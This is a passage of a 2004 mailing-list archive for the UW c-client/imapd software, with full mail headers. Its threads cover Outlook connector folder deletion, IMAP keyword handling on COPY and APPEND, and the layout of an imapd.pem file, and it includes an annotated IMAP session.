ESMTP id i38EwrSl013839 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 8 Apr 2004 07:58:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i38Eumjl018694; Thu, 8 Apr 2004 07:56:48 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38Etflh011940 for ; Thu, 8 Apr 2004 07:55:41 -0700 Received: from oss2.liv.ac.uk (oss2.liv.ac.uk [138.253.100.92]) by mxu5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38Etdbh011433 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 8 Apr 2004 07:55:40 -0700 Received: from ajtpc.liv.ac.uk ([138.253.253.66]) by oss2.liv.ac.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.31) id 1BBawL-0000EC-Bf; Thu, 08 Apr 2004 15:55:38 +0100 Message-Id: Date: Thu, 8 Apr 2004 15:58:51 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Alan Thew To: c-client@u.washington.edu Subject: imapd 2002e and Oracle Outlook Connector MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: qq11@ajtpc.liv.ac.uk X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Has anyone tried this Oracle product which allows Outlook to connect to their Calender product and also to a number of imap systems (Oracle's own but also Cyrus and UW). We have tried the latest version with Outlook 2003 (with imap 2002e) and have had problems deleting a folder. The folder is in standard unix mbox format and the failure occurs regardless whether the folder is empty or has mail items in. A test with Cyrus 2.2.3 is fine but despite looking at the imap commands it's not at all clear why the UW server fails. The Connector product uses a `trash' folder which is obligatory (I personally don't think this is brilliant but we don't have any choice). Has anyone tried these 2 products together and if so have they seen this behaviour? Thanks -- Alan Thew alan.thew@liverpool.ac.uk Computing Services,University of Liverpool Fax: +44 151 794-4442 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 8 08:18:08 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Apr 2004 08:18:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FI8rV004914 for ; Thu, 8 Apr 2004 08:18:08 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FI6Nm014616 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 8 Apr 2004 08:18:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i38FFri3012960; Thu, 8 Apr 2004 08:15:53 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FEjYh025820 for ; Thu, 8 Apr 2004 08:14:45 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FEiY2018259 for ; Thu, 8 Apr 2004 08:14:44 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FEhq3004694; Thu, 8 Apr 2004 08:14:43 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FEh1l002250; Thu, 8 Apr 2004 08:14:43 -0700 Message-Id: Date: Thu, 8 Apr 2004 08:14:43 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nicolas Kowalski Cc: c-client@u.washington.edu Subject: Re: mailutil and MUA flags In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 8 Apr 2004, Nicolas Kowalski wrote: > I just tried with 2004-RC7. mailutil (copy) gave me a lot of errors > like: > warning: Unknown flag: Junk > And the Junk flags were not copied to the destination folder. Is this > one of the limitations you wrote about ? Yes. A copy operation won't create a new keyword if the destination does not already have it. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Apr 8 08:22:02 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Apr 2004 08:22:02 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FM2qq005144 for ; Thu, 8 Apr 2004 08:22:02 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FM0sv014773 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 8 Apr 2004 08:22:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i38FK52e014386; Thu, 8 Apr 2004 08:20:06 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FJYTl112908 for ; Thu, 8 Apr 2004 08:19:34 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu6.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FJXFY010510 for ; Thu, 8 Apr 2004 08:19:33 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FJWX9023776; Thu, 8 Apr 2004 08:19:32 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FJWBY002641; Thu, 8 Apr 2004 08:19:32 -0700 Message-Id: Date: Thu, 8 Apr 2004 08:19:32 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nicolas Kowalski Cc: c-client@u.washington.edu Subject: Re: mailutil and MUA flags In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 8 Apr 2004, Mark Crispin wrote: > Yes. A copy operation won't create a new keyword if the destination does not > already have it. To be more specific: each mailbox has a list of defined keywords used with that mailbox. New keywords are defined by setting a previously-unused keyword in a message while you have the mailbox open. Appending new messages to the mailbox does not define new keywords, and it's not clear from the IMAP specification that it should. So if the source has a keyword that is not defined in the destination, that keyword is likely not to be copied. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Apr 8 08:27:58 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Apr 2004 08:27:58 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FRwOq005480 for ; Thu, 8 Apr 2004 08:27:58 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FRrkO015019 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 8 Apr 2004 08:27:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i38FQ2DL016082; Thu, 8 Apr 2004 08:26:03 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FPHC8048010 for ; Thu, 8 Apr 2004 08:25:18 -0700 Received: from hazelnut.cc.columbia.edu (hazelnut.cc.columbia.edu [128.59.59.162]) by mxu1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FPGKH032563 for ; Thu, 8 Apr 2004 08:25:17 -0700 Received: from hazelnut.cc.columbia.edu (localhost [127.0.0.1]) by hazelnut.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i38FPGIm008389 for ; Thu, 8 Apr 2004 11:25:16 -0400 (EDT) Received: (from selsky@localhost) by hazelnut.cc.columbia.edu (8.12.11/8.12.8/Submit) id i38FPFZM008385 for c-client@u.washington.edu; Thu, 8 Apr 2004 11:25:15 -0400 (EDT) Message-Id: <20040408152514.GA5492@columbia.edu> Date: Thu, 8 Apr 2004 11:25:15 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matt Selsky To: c-client@u.washington.edu Subject: ssl certificate file contents Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='LINES_OF_YELLING 0.001, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, __HAS_MSGID 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I see in docs/SSLBUILD that it says the certificate file (imapd.pem) should contain the private key and the public key. For historical reasons, we also include the CA certificate from our local non-commericial CA. Our imapd.pem looks something like this: -----BEGIN RSA PRIVATE KEY----- [private key for imap] -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- [certificate for imap] -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- [CA certificate] -----END CERTIFICATE----- Is there any use to including the CA certificate in imapd.pem? Does it help clients verify our non-commericial certificate? Does imapd ignore it completely? Thanks in advance for your help. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 8 08:59:16 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Apr 2004 08:59:16 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FxFhg007038 for ; Thu, 8 Apr 2004 08:59:15 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FxExl016354 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 8 Apr 2004 08:59:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i38FvBjj012276; Thu, 8 Apr 2004 08:57:11 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FuEhS037452 for ; Thu, 8 Apr 2004 08:56:14 -0700 Received: from blanca.unet.brandeis.edu (blanca.unet.brandeis.edu [129.64.99.169]) by mxu1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38FuCp8011522 for ; Thu, 8 Apr 2004 08:56:13 -0700 Received: from quixote.unet.brandeis.edu (h00a0c9ee6495.ne.client2.attbi.com [65.96.134.90]) by blanca.unet.brandeis.edu (8.12.10/8.12.10) with ESMTP id i38FuBjS026966 for ; Thu, 8 Apr 2004 11:56:11 -0400 Received: from localhost.localdomain (x1-6-00-a0-c9-ee-64-95 [127.0.0.1]) by quixote.unet.brandeis.edu (8.12.8/8.12.8) with ESMTP id i38Fuwui021998 for ; Thu, 8 Apr 2004 11:56:59 -0400 Received: from localhost (rcgraves@localhost) by localhost.localdomain (8.12.8/8.12.8/Submit) with ESMTP id i38Fuwur021994 for ; Thu, 8 Apr 2004 11:56:58 -0400 Message-Id: Date: Thu, 8 Apr 2004 11:56:58 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@u.washington.edu Subject: Re: mailutil and MUA flags In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: localhost.localdomain: rcgraves owned process doing -bs X-X-Sender: rcgraves@localhost.localdomain X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, X_AUTH_WARNING 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 8 Apr 2004, Mark Crispin wrote: > To be more specific: each mailbox has a list of defined keywords used with > that mailbox. New keywords are defined by setting a previously-unused > keyword in a message while you have the mailbox open. > > Appending new messages to the mailbox does not define new keywords, and > it's not clear from the IMAP specification that it should. So if the Hmm. I guess this is more for the imap list, but this sounds like a bug in the IMAP specification to me. Was there ever any working group discussion of this? Is there any good reason *not* to want to create new keywords upon copy? Is there a good place in imapd we can hack "Junk" into the default keywords available for all newly created (in our case, mbx format) mailboxes? From pinedev@shivax2.cac.washington.edu Thu Apr 8 10:29:28 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Apr 2004 10:29:28 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38HTRXl012422 for ; Thu, 8 Apr 2004 10:29:27 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38HTPeP021316 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 8 Apr 2004 10:29:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i38HRXr6011852; Thu, 8 Apr 2004 10:27:33 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38HQKDR013804 for ; Thu, 8 Apr 2004 10:26:20 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38HQK3o000518 for ; Thu, 8 Apr 2004 10:26:20 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38HQJJN004812; Thu, 8 Apr 2004 10:26:19 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38HQJHw012460; Thu, 8 Apr 2004 10:26:19 -0700 Message-Id: Date: Thu, 8 Apr 2004 10:26:19 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rich Graves Cc: c-client@u.washington.edu Subject: Re: mailutil and MUA flags In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 8 Apr 2004, Rich Graves wrote: > I guess this is more for the imap list, but this sounds like a bug in the > IMAP specification to me. Was there ever any working group discussion of > this? Is there any good reason *not* to want to create new keywords upon > copy? I don't think that anyone ever considered it. The actual text in RFC 3501 says: The PERMANENTFLAGS list can also include the special flag \*, which indicates that it is possible to create new keywords by attempting to store those flags in the mailbox. It's not clear whether "store those flags in the mailbox" includes flags being copied by a COPY command or set by an APPEND command, or if it is specific to an STORE command. It's easier to argue for this with APPEND rather than COPY. There is a list of all valid keywords in mailbox metadata. That allows a client to build a menu of usable keywords. Even if the specification gets changed, it will be a long time before UW imapd will be able to create flags in a mailbox as a result of a COPY or APPEND. Creating flags requires being able to access the mailbox metadata, and COPY/APPEND just append to the end of the mailbox without touching mailbox metadata. > Is there a good place in imapd we can hack "Junk" into the default keywords > available for all newly created (in our case, mbx format) mailboxes? Yes, just write a dummy message, select the mailbox, and store the flags. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Apr 8 12:48:20 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Apr 2004 12:48:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38JmJVI019042 for ; Thu, 8 Apr 2004 12:48:19 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38JmI8U027295 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 8 Apr 2004 12:48:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i38JkESR004880; Thu, 8 Apr 2004 12:46:14 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38JjHGo059118 for ; Thu, 8 Apr 2004 12:45:17 -0700 Received: from clara.unet.brandeis.edu (clara.unet.brandeis.edu [129.64.99.165]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38JjGQf024127 for ; Thu, 8 Apr 2004 12:45:16 -0700 Received: from quixote.unet.brandeis.edu (quixote.unet.brandeis.edu [129.64.99.99]) by clara.unet.brandeis.edu (8.12.10/8.12.10) with ESMTP id i38JjEWH017151 for ; Thu, 8 Apr 2004 15:45:14 -0400 Received: from quixote.unet.brandeis.edu (localhost.localdomain [127.0.0.1]) by quixote.unet.brandeis.edu (8.12.8/8.12.8) with ESMTP id i38JjEhO028709 for ; Thu, 8 Apr 2004 15:45:14 -0400 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.12.8/8.12.8/Submit) with ESMTP id i38JjE41028705 for ; Thu, 8 Apr 2004 15:45:14 -0400 Message-Id: Date: Thu, 8 Apr 2004 15:45:14 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@u.washington.edu Subject: Re: mailutil and MUA flags In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: quixote.unet.brandeis.edu: rcgraves owned process doing -bs X-X-Sender: rcgraves@quixote.unet.brandeis.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, X_AUTH_WARNING 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 8 Apr 2004, Mark Crispin wrote: > > Is there a good place in imapd we can hack "Junk" into the default keywords > > available for all newly created (in our case, mbx format) mailboxes? > > Yes, just write a dummy message, select the mailbox, and store the flags. That's ok if you're writing a new proprietary client, but not for users creating mailboxes the normal way. I meant new, empty mailboxes, i.e., this list, which seems to be specified by rfc3501 section 2.3.2. Pre-authenticated user rcgraves moe.unet.brandeis.edu IMAP4rev1 2003.339 at Thu, 8 Apr 2004 13:32:24 -0400 (EDT) . create foobar2 . OK CREATE completed . select foobar2 * 0 EXISTS * 0 RECENT * OK [UIDVALIDITY 1081445606] UID validity status * OK [UIDNEXT 1] Predicted next UID * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags . OK [READ-WRITE] SELECT completed Yuck. Looks like those are hardcoded and do not appear in the mbx file at all. Only newly defined ones do. Any hope? I do see that . store 999999 +FLAGS (Junk) Succeeds in creating the "Junk" flag even if no message 999999 exists. But that seems ugly, and how would I automate it upon mailbox creation? Incidentally, the error message you get when trying to DELETE a currently selected mailbox is a little misleading. It's not "another" process, it's the current process. This annoys users when they try to delete an empty mailbox from a GUI client. In some cases it can take some serious gymnastics to shift-click and delete a mailbox without SELECTing it. I always assumed this was a silliness about the GUI client, but it's the server. So should client authors "have known" that they need to unselect a mailbox otherwise in use? What about servers (including uw imapd until recently) that don't implement UNSELECT? . delete foobar2 . NO DELETE failed: Mailbox foobar2 is in use by another process . unselect . OK UNSELECT completed . delete foobar2 . OK DELETE completed -- Rich Graves UNet Systems Administrator From pinedev@shivax2.cac.washington.edu Thu Apr 8 13:43:13 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Apr 2004 13:43:13 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38KhDnK021769 for ; Thu, 8 Apr 2004 13:43:13 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38KhBj6029508 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 8 Apr 2004 13:43:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i38KfEo7015528; Thu, 8 Apr 2004 13:41:15 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38KeQLY052894 for ; Thu, 8 Apr 2004 13:40:26 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38KeQYf014733 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 8 Apr 2004 13:40:26 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout3.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38KePma021803; Thu, 8 Apr 2004 13:40:25 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38KePDE018831; Thu, 8 Apr 2004 13:40:25 -0700 Message-Id: Date: Thu, 8 Apr 2004 13:40:24 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rich Graves Cc: c-client@u.washington.edu Subject: Re: mailutil and MUA flags In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 8 Apr 2004, Rich Graves wrote: >>> Is there a good place in imapd we can hack "Junk" into the default keywords >>> available for all newly created (in our case, mbx format) mailboxes? >> Yes, just write a dummy message, select the mailbox, and store the flags. > That's ok if you're writing a new proprietary client, but not for users > creating mailboxes the normal way. That doesn't make any sense. If your client has a list of keywords that it wants in all mailboxes, it is perfectly capable of acting as I suggest. > * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) > * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags > Yuck. Looks like those are hardcoded and do not appear in the mbx file at > all. Only newly defined ones do. Any hope? Of course \ flags are hardcoded. That's a requirement of the IMAP specification. You'll notice that keywords don't start with a \. > I do see that > . store 999999 +FLAGS (Junk) > Succeeds in creating the "Junk" flag even if no message 999999 exists. You can not count upon that behavior. It's a bug that UW imapd does an action on a command that returns a tagged NO. Now that I know about that bug, I'm fixing it. Thank you for letting me know about it. > Incidentally, the error message you get when trying to DELETE a currently > selected mailbox is a little misleading. It's not "another" process, it's > the current process. This annoys users when they try to delete an empty > mailbox from a GUI client. Yes, some GUI clients have bugs. > So should client authors "have known" that they need to unselect a > mailbox otherwise in use? Yes. Of course. If you think about it, it doesn't make sense to have a selected mailbox that has been deleted, given the other semantics of mailboxes (which are different from UNIX file semantics). > What about servers (including uw imapd until > recently) that don't implement UNSELECT? The client shouldn't have selected the mailbox first if it was going to delete it. It isn't guaranteed that error messages will always be precise for every possible thing that goes wrong. Often, as in this case, a well-intentioned effort to provide user-friendly information, as opposed to unintelligible (but precisely accurate) errors, can result in an error message that is not strictly accurate. The library does not know what has it open, nor does it have a reasonable way to find out. It just knows that it's locked as an open mailbox. It guesses that the culprit is another process, since surely no program would be foolish enough to delete something that it has open. The true error condition is "Mailbox locked". Most users would have a completely incorrect understanding of what that means, and how to remedy it. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Apr 8 14:12:52 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 